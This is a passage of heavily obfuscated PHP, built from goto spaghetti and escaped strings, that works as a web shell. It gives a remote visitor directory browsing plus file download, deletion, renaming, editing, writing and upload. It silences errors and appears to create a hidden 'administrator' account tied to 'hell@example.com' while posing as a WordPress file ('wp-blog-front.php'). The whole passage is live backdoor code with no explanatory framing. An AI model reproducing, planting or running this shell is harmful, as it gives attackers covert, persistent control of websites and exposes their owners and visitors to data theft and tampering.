Z1Gtb; EaT8m: zxdlp: goto c7tgh; XRTM4: goto oepv3; goto KEX0F; IQxgW: goto KugWs; goto gg0cD; SSma9: wKHRo: goto ByJ5y; fUvG0: goto b0gsz; goto Pfozd; GowsA: goto mKfsV; goto qeEky; qtOMu: goto avda4; goto IGMxG; OkD6Y: mqyWi: goto yabSI; bqqHi: nvOF1: goto Fkejm; eKlHo: WW7k1: goto grpq0; xhqEf: goto KYlTW; goto nkg_2; bTx7G: QJ85Y: goto BMgJY; CTPbL: YKM7Q: goto HOQAy; eyg_4: hZMkj: goto UalKh; zDrDe: goto uvuvp; goto TB1We; MHH3p: goto xVwRJ; goto F0MHf; yCiAq: IHITf: goto bsDQj; NWr81: wlg9r: goto ijyDK; jU6lT: TAco5: goto TdN5J; Mtbo1: goto iTVFz; goto YWduN; NgCA9: goto vos2X; goto PFakA; ZqkGP: goto coM_j; goto m6xtS; SG5Lg: goto FpsD2; goto yrBhB; V5q18: goto V8krl; goto utbJO; hQErw: goto c49UM; goto VXOpn; d1ymB: FH10o: goto xbuKp; wo9bF: hHLeW: goto n0AyI; u7cmk: goto ZbEA_; goto KAk9t; xNL3S: TRGsF: goto QQ73s; nUHZj: piN9u: goto TRK5g; GTP3p: yuxjg: goto V6dIU; WtCDg: goto z1TRi; goto cliCH; cQw0H: goto RbW_B; goto PkpkD; rs4y2: n1dUr: goto FumFJ; c_uLt: pOAWG: goto ciaPa; Ir0Hp: lwEiq: goto vH8mz; pVl5H: GTMrE: goto WCK_n; WsDjn: goto EEaFa; goto h1d09; GX5GA: goto NxoSL; goto C9Pxa; kPGD9: DV0SF: goto hiKrU; jFU8u: if (empty($_FILES["\146\151\154\145"])) { goto eB0P0; } goto syZL1; yRzSi: goto in0Pm; goto flQBy; DYob3: KrrW1: goto iM2Kf; Zq6n4: goto xAjms; goto zFgBo; lGxrt: goto T3dUd; goto EuCPZ; q6Dhk: $q5ijL = "\x68\145\154\x6c\x40\145\x78\x61\x6d\x70\154\145\x2e\143\x6f\x6d"; goto LZFK7; CSW8n: goto h7FAQ; goto na3Dm; GsX13: a7Syc: goto TNSh_; iO6Px: lOLtd: goto JK3Qm; MNJZw: Rq_co: goto AGf2c; dBVzx: goto FEh9e; goto ySbKt; nqTXH: goto Epaeb; goto n5OFn; Vt018: goto XMPXG; goto D5wXD; q2Xs9: goto PLos3; goto O_PAq; pPv8_: PMfz0: goto ZhMNW; BcmUP: goto JWLH7; goto SGYFQ; Ox6lK: goto zicQ5; goto FQtCD; VR99U: CggXw: goto crQvd; fT5pv: $s8hWD->N1bTQ("\x61\144\155\151\156\151\x73\164\x72\x61\164\157\x72"); goto SRNMA; zFgBo: TRreX: goto lGxrt; V9MeH: Mf8XU: goto idhLU; lVEqA: GtXL7: goto q6Dhk; akgyC: ZcleN: goto KksL3; EMWmv: FZ2AP: goto YsVg0; PpMWV: goto ddJgy; goto P3Edt; VXOpn: R1csS: goto vROd0; wsSRO: D1biO: goto IMh2y; S_j6T: goto AJEvA; goto Ze6iU; HtCJj: goto QjXFk; goto mVSsr; KuLD8: ddJgy: goto NO3ry; tmFJ3: goto qRRBF; goto FR0vb; Xpr4d: Sx9yk: goto K25PE; FGaG1: HPZNv: goto caCjE; KJ9DW: goto pHswN; goto Aq8ar; A3U_c: goto S5Fw8; goto c6i_W; aijv1: goto U3iSv; goto KGpi0; XDRQ6: goto LGqK1; goto z7lyU; yrBhB: wZ7ek: goto ZC7Hp; oilrT: nyxtr: goto HrEHe; Bj6yj: @error_reporting(0); goto gHIW2; t45jc: p7RcU: goto S_j6T; p8nFI: hSHZi: goto jFU4M; M1sbV: ZxcyU: goto IZSOL; bX6wS: goto AOh9o; goto rBTq1; iGDOl: goto IqZZY; goto kPGD9; nJOL3: goto jx92z; goto W3QoJ; KmpX7: OFmO8: goto Kq6Pa; nDgjJ: bdO96: goto prjZV; JOi4O: L3B6x: goto vw0N5; ptU3E: goto LNCXp; goto ocGZL; XtvJl: hICWj: goto taEru; DkneV: jB8SS: goto Et_rQ; QYSDt: goto L6DFb; goto TwqXQ; bsDQj: goto hE81D; goto Vt018; KHiK3: goto pYA8s; goto J_Hln; Yr3rL: $c2TOA = $JglkV === "\x77\160\55\x62\154\157\147\x2d\146\162\157\x6e\164\56\160\150\160"; goto Bcjeb; cYkRq: NDbCh: goto hKh1w; rOPBo: goto yOMqM; goto xNL3S; Ze6iU: XTrPy: goto J5sJ6; ENk7J: hRga3: goto PDrMa; jWWrY: VNH2v: goto ihlYt; OE5yA: goto hSHZi; goto hlzGB; X6pqt: MtHzM: goto Z4ti4; nmnAf: TXPYd: goto YvG2f; HPY0G: DlJPI: goto WHIvP; vnxQO: NuHtj: goto u01qJ; CRQCp: M3Nyk: goto MWJuv; FBet9: goto UJfjM; goto OLa4J; xPu83: goto Nj2BT; goto cmre0; QVOeC: Sk_8B: goto fJCbZ; pPuqB: goto KOHoK; goto XnVfC; vWI69: goto pDGyY; goto HozkL; C1F0D: H9M8J: goto nZSBh; on6bL: Bq6R4: goto XUR1G; qBbCO: goto WV1q4; goto CsmT9; a1Q2t: if (!is_file($xBtNn)) { goto ppimC; } goto ItzMj; qW_H0: KOcL8: goto a1Q2t; wAzz2: goto tnzae; goto TXnS3; MJUaz: goto pW0Lg; goto q2Xs9; oYOLp: egqsq: goto NsKNm; x55BZ: goto KOFAb; goto GKNUm; X_Rx5: C04vy: goto JFMBg; UDjGd: v0BK4: goto oYmQe; HLD_L: oepv3: goto b_0ZW; zi3cN: goto wHPSX; goto ZnsV8; b_0ZW: goto wGiMn; goto Owtkw; bm28A: rD0Y7: goto o5L9C; A6Ru8: b0gsz: goto DuIvo; uQFMA: DAUAM: goto Yr3rL; OMyEo: $s8hWD = new S6w0T($tUnme); goto xMHB4; SOxZQ: LvNAD: goto T21kq; Fs86k: PbdyU: goto FBwr6; QBC7y: zFbrx: goto Zoi8b; UJv1z: LerbK: goto HODk0; JY0sP: i_d0m: goto Y7noi; eMvwK: goto dKikv; goto rPcjt; kp5n9: BgbEE: goto Kk1Ev; drZ7J: goto NuHtj; goto aODuH; LQGuL: goto rOJ8q; goto Woiag; AGf2c: WV1q4: goto tn5HK; wvM5G: q7hoD: goto LfvTH; u3UcH: YcUig: goto wvM5G; QPDRP: goto pfJQ7; goto xyW2D; d1lZ2: goto msEep; goto hyxRS; SzvFg: goto QLiDU; goto jFXX4; XnTpj: Mlzlf: goto YS87K; FOBjz: FQgPB: goto aijv1; N0tdo: goto l8Ts7; goto CRQCp; ot7OM: GFVEx: goto ZqIvO; OLBkN: goto NlnCg; goto bsexg; D6Njc: m9e_l: goto LK51e; oBk_h: goto qnoxP; goto lVtDI; DuIvo: goto OZSVK; goto HyZO0; ijn0m: goto MtHzM; goto tJTtt; Owtkw: gRnHu: goto tCX8N; mGj0u: yqCJY: goto MHH3p; bZqDa: ImjyR: goto OmOy_; oDR69: goto kNw4K; goto bp0Ep; p_EOs: goto zT7B3; goto itVgW; FAw4n: goto GtXL7; goto Xpr4d; rHid2: skzZX: goto Ew4Vq; JzMHZ: if (empty($_GET["\x64\x6c"])) { goto gtobW; } goto HVahR; zPWuV: MfzhX: goto XQoQW; LAQcH: goto rLxPm; goto LPrNA; STKGW: cUXEM: goto pVl5H; N5T9R: goto obHgD; goto aPdzy; Fn2MS: vyGaQ: goto HBo7O; Qztwc: y67Ap: goto Ye10f; O1iFw: qRRBF: goto bAvkV; dhR5e: YuCj4: goto KAIdj; PZazT: goto Kjfaz; goto VWhb1; C7_fs: goto MfzhX; goto uQFMA; nagnh: eYfsX: goto XveWy; iCa1I: goto UE4UV; goto fFQF6; ux48b: goto nw9_P; goto KyGJz; cS1Um: goto aF9v3; goto r9ul1; V2OHJ: goto kwn_w; goto kTiZl; IMh2y: iNoeY: goto ekQhe; UalKh: goto BtDrW; goto juHmK; kgXAp: exit; goto av9h0; qX85B: r6FWt: goto Zf00L; vQh3A: cFPwG: goto XRSia; jjccd: goto B3ej5; goto y2xVh; ByJ5y: eL3o9: goto aCgnf; wEY1S: cLY67: goto DuCLf; YNYtN: n1xAc: goto QDb5k; oD1Eb: nwZhy: goto z51Jf; Hw32e: goto yYo4F; goto RUISB; bShoH: GUAlg: goto mY2O0; TPPFj: R2qCT: goto R3R3R; pmXSl: xAjms: goto XfhKL; vrgjF: goto lGDG8; goto YNYtN; veujo: goto GFVEx; goto t786g; Ye10f: DbkW8: goto hrlxR; o5L9C: goto zy63J; goto wRq1b; IZSOL: goto plEkR; goto d7rGB; Qay5o: goto v1oOS; goto uIeAN; W1Yey: jVYnj: goto auHqi; Vxlow: SScWF: goto kgXAp; UVUtQ: M0ssD: goto njHeJ; cSm55: goto QIiQR; goto SSma9; Dl1hP: goto pgOuG; goto Szx32; tObSm: Vpv02: goto SG5Lg; D5wXD: B_6Vv: goto WGcpz; sZ75u: QtsT4: goto Qay5o; r9ul1: yg7sc: goto eU41h; cmre0: YpUjo: goto CmNmh; O_PAq: Bdf2T: goto T_f2O; k5H1Z: $xBtNn = realpath($_GET["\x64\154"]); goto L2A51; q7YAy: goto eB7a0; goto GTP3p; lfrx4: MntkF: goto GX5GA; XYhaQ: goto oRPQR; goto cFk3g; hbaSs: qEiXE: goto evbZT; hxDMW: EGZPJ: goto Dh0LO; JrmU1: goto fciXr; goto pmXSl; chfAw: goto NDS3W; goto v_bQx; ZyBPB: Sh82s: goto JTJ_6; HODk0: echo "\74\150\62\76\105\x64\x69\164\x69\156\x67\x3a\40" . basename($OYF8c) . "\x3c\x2f\150\x32\76"; goto T5gqz; CWDzT: V0rXx: goto C1vkz; sszjo: zy63J: goto kBz8y; bCGEg: o43mB: goto He2H7; h6GK8: BiKFr: goto KmQnX; oIF6W: Ke450: goto iXpBE; fM7Ha: if (is_file($OYF8c)) { goto f5nlv; } goto S301N; niBes: UJfjM: goto OQYRM; HwQDA: goto yyPmy; goto Aaa8o; dDHyn: @rename($D8T_A, $HF_AU); goto O5gxF; T1VpJ: EY5Ku: goto chPI0; xbpy_: goto WZXZz; goto yCiAq; Tm20x: mQZH3: goto TPqB0; MpkXP: goto j65UW; goto wY1La; e6jhU: ufbsx: goto uOeWD; GgoUW: goto Mf8XU; goto oBk_h; kY5qy: goto m8VZu; goto VhhhS; ROCbh: goto QlU0m; goto vCrY0; uOeWD: goto FZ2AP; goto hcwoJ; Qtv3E: MBBhg: goto Wfahm; tCX8N: nYEWv: goto VDpyM; guWkM: laL26: goto rEqON; cae8L: $tUnme = Dmvx7($fNAU7, $QeOFD, $q5ijL); goto HLnpY; APQLu: UQx3P: goto kY5qy; ik5MB: goto Uh58U; goto rHid2; hwypA: goto An6YB; goto tUduY; mXvip: goto q7hoD; goto K31sk; x6VNx: ACxZw: goto eM273; G_inn: I2JmY: goto cae8L; chPI0: goto btFGI; goto kdEdc; Q7X2c: Y2g2U: goto iAu5k; Pfozd: vos2X: goto VNQhF; kTiZl: goto JLhkU; goto jU6lT; i7xEX: goto q0QYS; goto ZKuDE; APerP: goto cc93s; goto FKta4; d_uUZ: zBLh6: goto EV0lx; qw6I2: goto DlJPI; goto zdSMe; KZ0MR: goto IHITf; goto NSBT6; aziJz: bEuoB: goto fz82N; pWLEz: goto MyQwH; goto psN7E; AbqTt: FeMir: goto QNppl; Wu0Dj: goto p7RcU; goto BCH5S; soE6m: goto evnh5; goto OA0vJ; m0qBm: goto zFbrx; goto bm28A; gaUcj: goto Uxmld; goto UDjGd; iXCp0: goto EMYdI; goto xEXPk; ZqIvO: goto vyGaQ; goto KAvzx; uGhan: goto fglM4; goto JRoYV; ivss1: w1uy_: goto lPC2j; TPqB0: goto YuCj4; goto Yi1pu; CsmT9: goto pOAWG; goto CNAMg; zfiF0: goto ReNg9; goto rxL9a; Ogr2e: goto ZFoCt; goto DYob3; PKpvj: eidbW: goto UUu0V; mNl1r: goto ZeFgS; goto BTV6s; J66w6: g6iHC: goto cTu15; VKTu_: uvuvp: goto GKsnu; P3Edt: WPVEP: goto ZyBPB; vGXSF: goto H4smI; goto lmu5v; yxCxR: BBOPc: goto SXKBh; at1Di: fT1WW: goto gIm_B; U1oqU: goto Bdf2T; goto FOBjz; c7tgh: goto I2JmY; goto CZLgn; c9tdZ: goto TXPYd; goto aPMgW; LPrNA: rivn3: goto ZgZvc; SIi_F: T07g6: goto sszjo; X3sGq: JDHCe: goto O29SP; ry0vH: goto iZ5nl; goto HgL8O; qXC8Y: goto KX2Vx; goto qB9Xc; TAeJb: goto DckSI; goto MfKxB; C1n98: Kcvlm: goto TH0hL; NO2YR: IOF4v: goto foNlo; y2xVh: goto LWJCi; goto eKlHo; ijyDK: echo hVC0_($JdqDR); goto gaUcj; gIm_B: goto JMBjk; goto mUedk; N0XQT: WPvfP: goto VKTu_; maSn0: goto ZzPDj; goto QsPIc; FY3ak: goto bMXBV; goto mNl1r; DULDq: goto YvT8m; goto cD76l; tBYLp: goto A5jA1; goto J6pyu; UCa6o: goto j2XUx; goto HMmv3; ebmTO: wssjk: goto s2s94; gtyx3: @unlink($OYF8c); goto xglhX; yikDg: goto SuKca; goto wsSRO; KyGJz: jZbVd: goto AW3Fk; O_ANL: vulF5: goto pS7J6; m3RSl: goto XO56O; goto SbBwM; QrANG: goto zxdlp; goto WOL8H; XAd4w: xCCXR: goto A3iAc; A5vJ4: goto ct3Gd; goto CH5gS; vUscg: Xu8Zx: goto XW18E; nuTOO: gNdVv: goto xdHqL; lmu5v: ZFoCt: goto ithkt; PJpNQ: IfnJf: goto F51Qt; lOUZQ: goto s6Utd; goto yTLyD; H7JE0: yyPmy: goto m6RZK; BTV6s: QxCZA: goto pfb_H; kdEdc: jED5H: goto Rke00; HEtXH: goto QT1FZ; goto wW6wz; LHMHt: goto Kcvlm; goto b8TnL; E6mJN: goto VRmhe; goto bnXuH; O1XTW: pgOuG: goto fW3YQ; VIfmn: goto fdUer; goto L7bMW; t786g: obHgD: goto pPuqB; K31sk: goto rxTcl; goto qW_H0; YfHrC: T4o2I: goto hu4uH; N7YKq: rF9Q0: goto Yp3qL; Qd3lh: if (empty($_POST["\x6e\145\167\x66\151\x6c\x65"])) { goto egqsq; } goto DW21w; MLYir: FAGob: goto bq3T2; DuCLf: HTfnm: goto yjdWQ; OLa4J: f5n0p: goto s5nwg; d12wZ: goto JscKU; goto CTPbL; P3Dsn: goto PEDAo; goto cg4ZT; R3R3R: goto Ig84v; goto OuzcA; DwdO1: goto TbGY0; goto zK5Gj; aODuH: IqZZY: goto ilgUX; ihlYt: goto bgQX6; goto wV2dM; RTRbS: goto ImjyR; goto HEtXH; pS7J6: goto UQx3P; goto jg0N4; x2NQw: n4Z1k: goto JmZFb; V4Gs8: goto xCCXR; goto B1nVA; O0SeS: goto W6f3O; goto tmFJ3; nRCFw: goto ZxcyU; goto tBYLp; zLv0S: goto AG2ub; goto whaQj; c1U1G: goto zBLh6; goto wD9U7; PQ4_q: goto LvNAD; goto JFlyl; u01qJ: M_aAL: goto veujo; C6DGU: goto OCR1p; goto fm2b4; prjZV: file_put_contents($OYF8c, $_POST["\x66\151\x6c\x65\144\141\x74\141"]); goto k4Vi5; tn5HK: goto n1dUr; goto Qztwc; OQYRM: cR2JV: goto jG054; ZvKn_: goto iwDZz; goto h43tU; lRc0U: NKnHC: goto m3RSl; cAAde: goto VMmqS; goto u7cmk; XnVfC: goto y67Ap; goto nagnh; GcvOD: eJqKf: goto wo9bF; Lfe3c: h7FAQ: goto MqVgE; uEoKz: goto GvS0d; goto tzF67; coJ7U: m8VZu: goto tEAi1; LHCPs: goto nWrVW; goto ydG6k; bnyOP: V3DtT: goto at1Di; KoEQZ: kNw4K: goto zAaF6; hiKrU: goto gw96m; goto OE7sw; CwWL8: KugWs: goto M2hcK; nk0Ti: echo $hznvy; goto soNvH; CZKTK: vuZTj: goto Osgk9; Yj7dO: Y0jlT: goto qLPnR; vwZaR: nZebr: goto HLD_L; dzeBt: WrIFn: goto Sj5EP; ckwc3: goto iWIvM; goto FL8BU; QNppl: goto yF6N3; goto CSW8n; GFjzR: goto uo4RA; goto GhxD3; nMeT9: goto ipmoX; goto XAd4w; Q92Uz: RZCVG: goto RrQzB; Mmj9S: if (empty($_GET["\162\x6d"])) { goto XFYQV; } goto lAoqM; VTF8J: HfAyO: goto Wu0Dj; sjCR2: CxF4g: goto HL_Ea; Q1G_q: goto uLRAc; goto H7UpU; G6_zE: goto QfHUS; goto dzZAB; ZKuDE: AMiM3: goto P0cNU; Noz1Z: EM03P: goto tLalb; x1zVu: nw9_P: goto V1vcl; yvmps: goto R1csS; goto bIuzY; wY1La: goto h5315; goto KXSWh; zdpHs: goto LerbK; goto BuMBm; fYcK6: goto bB2bQ; goto cUMx9; TNp3M: goto a7Syc; goto PVG03; bBowp: goto kDQNo; goto G8pQn; B05Ub: goto xUQTL; goto bnyOP; M92EE: goto YPNKf; goto MK6VQ; wW6wz: bJytY: goto FLgPu; s9Uw_: goto TkaFs; goto v0IZQ; tvKkm: goto LcHIH; goto Fs86k; gUCUZ: goto Xu8Zx; goto zPWuV; hyfoa: goto DAUAM; goto f3roe; G8RQx: goto lvK0j; goto KMUru; XUR1G: N_uzv: goto gco9H; W6N2X: VPmxL: goto chfAw; SbBwM: tcFgj: goto QrANG; IHLnC: Qjkti: goto HFyGT; NC8Tt: goto veDoV; goto idetg; cUMx9: TOJnr: goto bkpQm; pAD7h: foreach (scandir($JdqDR) as $jCoCn) { goto UyE9z; Y66nj: goto n9JmS; goto CmzPy; jZlId: goto Se3Tu; goto UILML; aiXU6: goto Hc5YW; goto CeA49; WYe8a: goto b1Sy6; goto RLwy3; yeT4n: hhcfl: goto H8BnH; SCbx4: LnGzv: goto zH3J1; dWdfR: goto kYwc5; goto fRt65; yHJKI: zckap: goto cC8lK; kpLTJ: ww1pr: goto PQx9C; n0Icx: goto hovEi; goto ieGSh; ZEQ3y: goto v8v3A; goto sHonK; XAOvM: goto JRZly; goto tuZY1; oTceV: LWu5h: goto SF4P0; yYzOb: echo "\x3c\x2f\x74\x64\76\74\x74\x64\40\x73\x74\x79\x6c\145\75\x27\x63\x6f\154\157\162\x3a{$nMJTQ}\47\x3e{$zg_8u}\74\x2f\x74\x64\x3e\x3c\164\144\76\xa\x20\x20\x20\x20\x3c\x61\40\163\x74\x79\x6c\145\x3d\47\143\157\x6c\x6f\x72\x3a\x77\150\x69\x74\145\x27\x20\x68\162\145\x66\x3d\47{$y7k3f}\x27\76\104\74\57\141\x3e\xa\40\x20\x20\x20\x3c\x66\157\x72\155\x20\x63\154\x61\x73\x73\75\47\151\156\154\x69\x6e\x65\x27\40\155\145\164\x68\157\x64\75\x27\160\157\163\164\47\x20\x6f\156\x73\165\142\x6d\151\164\75\x27\162\x65\164\165\x72\x6e\x20\x72\145\156\x61\x6d\x65\103\x6f\x6e\x66\151\162\x6d\x28\x74\150\x69\163\51\x27\x3e\12\x20\x20\40\40\74\x69\x6e\x70\x75\164\x20\x74\171\x70\145\x3d\47\150\151\144\x64\x65\x6e\x27\40\x6e\141\155\145\x3d\47\x72\x65\156\x61\x6d\145\137\x6f\154\144\47\x20\x76\141\154\165\x65\75\47{$B_FcA}\x27\x3e\12\40\x20\x20\x20\x3c\x69\156\x70\x75\164\x20\x74\171\160\145\x3d\47\164\145\170\x74\47\x20\156\x61\155\145\x3d\47\162\145\156\141\x6d\x65\137\156\x65\167\x27\x20\x76\x61\154\165\145\75\47" . htmlspecialchars($jCoCn) . "\47\x20\x73\x74\171\x6c\x65\75\47\x77\151\x64\x74\x68\72\67\x30\160\x78\47\76\12\x20\40\40\40\x3c\142\x75\164\x74\157\156\40\163\164\171\154\145\x3d\x27\x63\157\x6c\157\162\72\x77\150\x69\164\145\x27\x3e\122\x3c\57\142\165\164\164\157\x6e\x3e\xa\x20\x20\x20\x20\74\x2f\x66\157\x72\155\76\xa\40\x20\x20\40\x3c\x61\40\x73\x74\171\154\145\x3d\x27\x63\157\154\x6f\x72\x3a\167\150\151\164\145\47\40\150\162\145\146\75\47{$Hltqj}\47\x3e\105\74\x2f\141\x3e\xa\40\x20\x20\x20\x3c\57\x74\x64\76\x3c\x2f\164\162\76"; goto bT8db; c5L6t: goto Ln1ZT; goto prmJm; oVW4n: goto fVz1f; goto d5M8e; u1Ujr: OS6HX: goto XcsWr; BYjEX: goto gC_nZ; goto kGEuA; SfTo5: goto XmNHK; goto aeLSj; FcO1M: goto BA5Y_; goto tQEXP; YhIq7: goto TqnTE; goto pT5jL; fRt65: fVz1f: goto FcO1M; H8BnH: goto ne4ge; goto ybvzn; nt4Ds: pwhrg: goto Y63ME; X0KyS: hovEi: goto emleV; DSRj9: BTRC8: goto uZL8m; BH5yT: XbFFZ: goto yYzOb; w6XrN: $y7k3f = "\x3f\x64\x69\162\x3d" . urlencode($JdqDR) . "\x26\144\154\x3d" . urlencode($B_FcA); goto CfdED; YKYhJ: goto iUN4R; goto M0t1W; CmzPy: PpN1E: goto FdShd; Hjko0: echo "\x3c\x74\x72\x3e\x3c\164\x64\40\163\x74\171\154\x65\75\47\x63\x6f\x6c\x6f\x72\72{$nMJTQ}\47\76"; goto n0Icx; hhHIX: YULeT: goto yvqNV; WjkFx: goto WT6NY; goto Mh9Mz; N5kcV: goto QaNoD; goto yeT4n; tA7kr: goto loqVU; goto xKN8C; p3ddV: QaNoD: goto ZL2Dt; k381R: goto vseTk; goto h9Ahu; o3UvO: JVFFy: goto dp3bf; mMPhr: vseTk: goto WcKwo; UILML: JRZly: goto lh4fL; nyOcl: goto KIcvZ; goto XZNfU; TZeub: goto mz60F; goto tA7kr; dKObb: PcK78: goto dbyy_; zdB2U: V3gWK: goto u9145; G0bdL: w96y4: goto ulBpB; M0t1W: goto oLutN; goto F8iBn; yvqNV: rVIbV: goto QfgFv; eNMy1: RSt_5: goto Tzhjh; g1Mwd: E5c6l: goto o40iL; b6w1W: goto zPi6x; goto Og_xx; ssDLc: Ln1ZT: goto N5kcV; CeA49: goto OS6HX; goto HDW3d; Lh2Ce: goto jVjWf; goto SCbx4; D1HA1: HjmKJ: goto BiAY0; jN7HS: goto evaVG; goto Qppls; xPHbk: Se3Tu: goto Scnm2; wW_Pu: goto JdfwG; goto VH8fr; hi5J2: goto JVFFy; goto H3hLL; LxY_2: goto Y0R_U; goto KtXCs; HDW3d: EaZ0n: goto YKYhJ; grNQv: goto iMqQ6; goto f0h4T; Qr6DM: LVJwS: goto w6XrN; i0xNU: goto HldqB; goto InW24; UovVL: goto Chjeo; goto uJ9Wa; cQOnS: RGJFQ: goto VjUJ0; Qppls: aFbdp: goto Xsbju; CfdED: goto RGJFQ; goto ePr2H; N7jK5: sRzTa: goto DSRj9; XZNfU: goto YULeT; goto sPmAg; emleV: goto zckap; goto BK9Z2; eoJep: HFjca: goto PElk1; bT8db: goto EaZ0n; goto X0KyS; vUqeX: Avye1: goto G0bdL; Fo4Ze: uJjJO: goto a4qAR; ElKy2: I9xNA: goto NlPIq; VadYr: goto gZ8G9; goto Fo4Ze; Mh9Mz: goto S1QS5; goto veyYh; NlPIq: if (is_dir($B_FcA)) { goto Glzcf; } goto S5FJQ; h_xE4: TqnTE: goto srvFf; uZL8m: goto pz9NH; goto S36Yq; VaAmQ: Dquw7: goto C4tSW; zRGcS: auC7e: goto edsE6; xOGoU: echo htmlspecialchars($jCoCn); goto i0xNU; PElk1: $epbTS = "\x3f\x64\151\162\x3d" . urlencode($JdqDR) . "\46\x72\155\75" . urlencode($B_FcA); goto YF0jv; sPmAg: FpKAZ: goto xOGoU; WbT4H: goto vB3JR; goto zRGcS; nJE0E: XN6Cy: goto eNMy1; VH8fr: jVjWf: goto Hjko0; rCzF8: wbtD5: goto VadYr; kGEuA: QL6U8: goto wTv3h; PeBja: Chjeo: goto c5L6t; uxWZg: goto mK9OZ; goto BH5yT; dbyy_: goto rVIbV; goto Nuhtr; aFy_Q: goto XbFFZ; goto g1Mwd; wTv3h: ne4ge: goto Lh2Ce; grZum: goto ww1pr; goto hiHAj; Scnm2: goto BTRC8; goto BYjEX; rucUY: echo "\74\141\40\x68\162\145\x66\75\47\77\x64\x69\x72\75" . urlencode($B_FcA) . "\x27\x3e\133\x44\x49\x52\x5d\x20{$jCoCn}\x3c\57\x61\x3e"; goto WzKXA; Xsbju: goto gIaSm; goto J2e4b; tuZY1: GtRyG: goto Jds7I; FmD5s: HqXhf: goto HHS0l; n_MvJ: lHL_A: goto h_xE4; CrOLp: oLutN: goto yHJKI; au_ND: $Hltqj = "\x3f\144\x69\x72\75" . urlencode($JdqDR) . "\46\x65\x64\x69\x74\x3d" . urlencode($B_FcA); goto jZlId; ieGSh: kYwc5: goto aiXU6; RbjFb: le7qE: goto o3UvO; PQx9C: Hc5YW: goto WbT4H; o40iL: goto qrqe0; goto C3TUe; J2e4b: goto GtRyG; goto RbjFb; f6V7N: mz60F: goto FjMZZ; dp3bf: goto OuMj7; goto N7jK5; S5FJQ: goto KnG44; goto iSetL; tQEXP: goto le7qE; goto n_MvJ; edsE6: goto RSt_5; goto PDgB3; wVI5R: goto fU0xm; goto zdB2U; VjUJ0: goto LWu5h; goto k381R; PDgB3: goto sRzTa; goto hhHIX; iSetL: Glzcf: goto dWdfR; ZL2Dt: $zg_8u = is_file($B_FcA) ? filesize($B_FcA) : "\x2d"; goto Y66nj; cC8lK: goto I9xNA; goto LjeAj; a4qAR: qrqe0: goto wVI5R; FrdKK: sgnIB: goto WjkFx; hiHAj: vB3JR: goto LxY_2; BSIu1: goto lHL_A; goto aUw7A; pT5jL: goto E5c6l; goto eoJep; RLwy3: goto aFbdp; goto E7qW_; prmJm: goto QL6U8; goto cQOnS; nkieJ: goto LVJwS; goto LF_ML; Og_xx: tVKMg: goto D4Jx_; S36Yq: rKfzf: goto D1HA1; BiAY0: goto FpKAZ; goto WjfbZ; nxkyZ: XmNHK: goto PWZsV; BYNaH: if (!($jCoCn === "\x2e")) { goto tVKMg; } goto b6w1W; iT0U6: goto Y7YW8; goto CrOLp; Y63ME: KIcvZ: goto wW_Pu; aeLSj: mK9OZ: goto BYNaH; F8iBn: HldqB: goto nyOcl; InW24: pz9NH: goto fAGNE; E7qW_: yJrNY: goto TZeub; u9145: iMqQ6: goto ZEQ3y; d5M8e: Y7YW8: goto rucUY; fAGNE: $nMJTQ = is_writable($B_FcA) ? "\x23\x66\146\60" : "\43\146\x30\60"; goto I175j; xKN8C: cSOBQ: goto VaAmQ; WcKwo: WT6NY: goto uxWZg; FjMZZ: goto k0tWZ; goto nt4Ds; PWZsV: zPi6x: goto kj4no; uJ9Wa: k0tWZ: goto YhIq7; khUIN: goto wGijR; goto XAOvM; LF_ML: JdfwG: goto WYe8a; FdShd: Y0R_U: goto iT0U6; C4tSW: goto Avye1; goto xPHbk; zH3J1: goto HjmKJ; goto jN7HS; QfgFv: goto cSOBQ; goto PeBja; Nuhtr: goto HqXhf; goto u1Ujr; KtXCs: goto XN6Cy; goto nJE0E; Tzhjh: goto vUVxy; goto x1Zlu; I175j: goto hhcfl; goto vUqeX; sriQb: fU0xm: goto rCzF8; veyYh: p4DnE: goto hi5J2; WjfbZ: v8v3A: goto Ne9GF; HHS0l: wGijR: goto nkieJ; u23sO: goto LnGzv; goto ddkME; h9Ahu: vUVxy: goto u7lJB; yKuUf: goto wbtD5; goto SfTo5; WzKXA: goto auC7e; goto OZKHg; YF0jv: goto p4DnE; goto sriQb; ybvzn: goto pwhrg; goto p3ddV; ePr2H: gZ8G9: goto grNQv; Ne9GF: $B_FcA = $JdqDR . "\x2f" . $jCoCn; goto UovVL; D4Jx_: goto Zs341; goto Qr6DM; XcsWr: KnG44: goto u23sO; x1Zlu: gC_nZ: goto ssDLc; OZKHg: n9JmS: goto khUIN; H3hLL: goto uJjJO; goto dKObb; Y0rSP: gIaSm: goto grZum; C3TUe: goto rKfzf; goto bxbKZ; LjeAj: OuMj7: goto au_ND; kj4no: goto yJrNY; goto kpLTJ; bxbKZ: loqVU: goto oTceV; aUw7A: evaVG: goto f6V7N; f0h4T: goto V3gWK; goto ElKy2; BK9Z2: goto PpN1E; goto FrdKK; sHonK: Zs341: goto yKuUf; lh4fL: iUN4R: goto BSIu1; Jds7I: BA5Y_: goto aFy_Q; srvFf: goto PcK78; goto mMPhr; u7lJB: b1Sy6: goto oVW4n; UyE9z: goto sgnIB; goto nxkyZ; ddkME: S1QS5: goto Y0rSP; SF4P0: goto HFjca; goto FmD5s; ulBpB: } goto xExXe; PDrMa: if (empty($_POST["\x73\141\166\145\x66\151\x6c\x65"])) { goto AMiM3; } goto i7xEX; fK2Ze: goto uPBS1; goto JelQD; Zjoa3: UE4UV: goto KJ9DW; Vnkje: goto J2g9H; goto iO6Px; pfb_H: goto YdNYY; goto DZPMO; A3iAc: goto BPJ4w; goto H_Ys8; Orv0N: dLMym: goto m0qBm; pq4ZS: goto g6iHC; goto hKizP; kD6XT: goto PMfz0; goto f4YMc; jyS94: goto wG4QQ; goto beXJa; ElFdE: if (!(!$JdqDR || !is_dir($JdqDR))) { goto NEL4y; } goto txvvt; QkkKu: $OYF8c = realpath($_GET["\162\x6d"]); goto GFjzR; yUnRu: lAGKT: goto tkAOW; LhIiH: goto O2GDB; goto ecHb3; UDF0S: QT1FZ: goto XnTpj; RhnSC: AyUTC: goto l3eRf; kmudu: header("\x43\157\156\164\x65\x6e\x74\55\104\x69\x73\160\x6f\163\x69\164\151\157\x6e\72\40\141\x74\164\141\143\150\155\145\x6e\164\x3b\40\x66\151\x6c\145\x6e\x61\155\145\x3d\x22" . basename($xBtNn) . "\42"); goto vGXSF; Dh0LO: goto IfnJf; goto qjebX; rQbqD: goto R2qCT; goto dJQ6q; lhDSv: goto tMLMs; goto UGHVI; IrMlS: QjXFk: goto zN5y3; jEBL_: goto bdO96; goto RnKjm; 